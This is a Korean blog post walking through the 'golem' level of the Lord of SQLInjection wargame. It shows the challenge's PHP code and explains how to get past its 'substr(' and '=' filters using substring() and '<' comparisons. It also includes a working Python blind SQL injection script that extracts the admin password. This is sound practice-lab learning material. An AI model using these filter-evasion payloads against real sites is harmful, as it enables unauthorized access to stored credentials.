11번째 문제인 golem이다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
지난 문제처럼 두번의 쿼리를 실행하며 첫번째 쿼리에서 admin 계정의 정확한 패스워드를 알아내야 두번째 쿼리에서 인증을 통과해 문제를 풀 수 있다. 이전에 풀었던 orge 문제와 완전히 동일하지만 필터링되는 구문이 몇개 더 추가되었다. 이번 문제에서는 "substr(", "=" 문자열을 필터링하는 것으로 보아 substr() 함수를 사용하여 한 글자씩 비교하는 기법을 사용하지 못하도록 한 것 같은데 이는 substr() 함수 대신 substring() 함수를 사용하는 것과 "="로 직접 비교하는 대신 "<"로 간접적으로 비교하는 방법으로 우회할 수 있다.
substring() 함수는 substr() 함수와 동일하게 사용할 수 있기 때문에 별 차이는 없고 대신 비교값을 하나씩 늘려가면서 대소비교를 통해 비교하기 때문에 "password_length = estimated_length - 1"처럼 감소된 값으로 판단해줘야 한다. 예를 들어 1부터 10까지의 숫자 중 5를 찾는다고 할 때 기존에는 "if i == 5" 처럼에 동일비교 연산자를 통해 찾았다면 이번에는 "if i < 6" 처럼 비교하며 탐색하는 것이다. 조건이 거짓이라면 아무런 결과도 출력되지 않는 점을 이용하여 i<1, i<2, i<3, ..., i<10까지 쭉 비교하다가 조건이 참이 되어 "Hello admin" 문자열이 출력되는 순간을 탐색한다는 점에서 차이가 있다.
그래서 코드를 작성하면 다음과 같다.
import requests
password=''
password_length = 0
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}
for estimated_length in range(100):
query={'pw': '\' || substring(id, 1, 1) < \'b\' && length(pw) < ' + str(estimated_length) + '#'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password_length = estimated_length - 1
print("admin's password length is {}".format(password_length))
break
if password_length < 1:
print("Password length unknown")
exit()
for current_password_length in range(1, password_length+1):
for password_chr in range(ord('0'),ord('z')+1) :
query={'pw': '\' || substring(id, 1, 1) < \'b\' && substring(pw,1,' + \
str(current_password_length) + ') < \'' + password + chr(password_chr).capitalize() + '\'#'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password = password + chr(password_chr - 1)
print(password)
break
if len(password) == password_length:
print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))
이번에는 동일비교 연산자가 필터링되는 바람에 id='admin' 같은 조건을 사용할 수 없기 때문에 admin 계정의 첫 글자인 'a'로 한정시키기 위해 substring(id, 1, 1) < 'b' 처럼 우회하였다. guest, admin 말고 다른 계정(akari)이 있다면 조건을 좀 더 추가해주면 될 것이다. 그리고 substring() 함수를 이용해 비밀번호를 한글자씩 찾아나갔는데 이번에는 substring(pw, 3, 1) < 'a' 처럼 비교하지 않고 substring(pw, 1, 3) < 'aba' 처럼 세 글자씩 비교하는 방법도 사용해보았다. 한글자가 아니라 여러 글자일 때도 이런 식으로 비교하면서 sql injection이 되는지 시험삼아 해본 방법인데 잘 되서 이렇게도 풀어보았다. 이전과 달라진 점은 대소비교 대상으로 추측 비밀번호 글자 뿐 아니라 탐색된 비밀번호 문자열도 같이 붙어있다는 점이다. 예를 들어 비밀번호가 "password"라면 substring(pw, 1, 3) < "paa", substring(pw, 1, 3) < "pab", substring(pw, 1, 3) < "pac", substring(pw, 1, 3) < "pad", ... 처럼 비교해나가는 것이다.
어쨌든 이렇게 실행해보면 다음처럼 비밀번호를 찾을 수 있었다.
substr() 또는 substring()이 굉장히 유용하다. 이를 자주 활용해야겠다.
'챌린지 > los.rubiya.kr' 카테고리의 다른 글
Lord of SQLInjection - bugbear (0) | 2021.01.03 |
---|---|
Lord of SQLInjection - darkknight (0) | 2021.01.01 |
Lord of SQLInjection - skeleton (0) | 2020.12.30 |
Lord of SQLInjection - vampire (0) | 2020.12.30 |
Lord of SQLInjection - troll (0) | 2020.12.28 |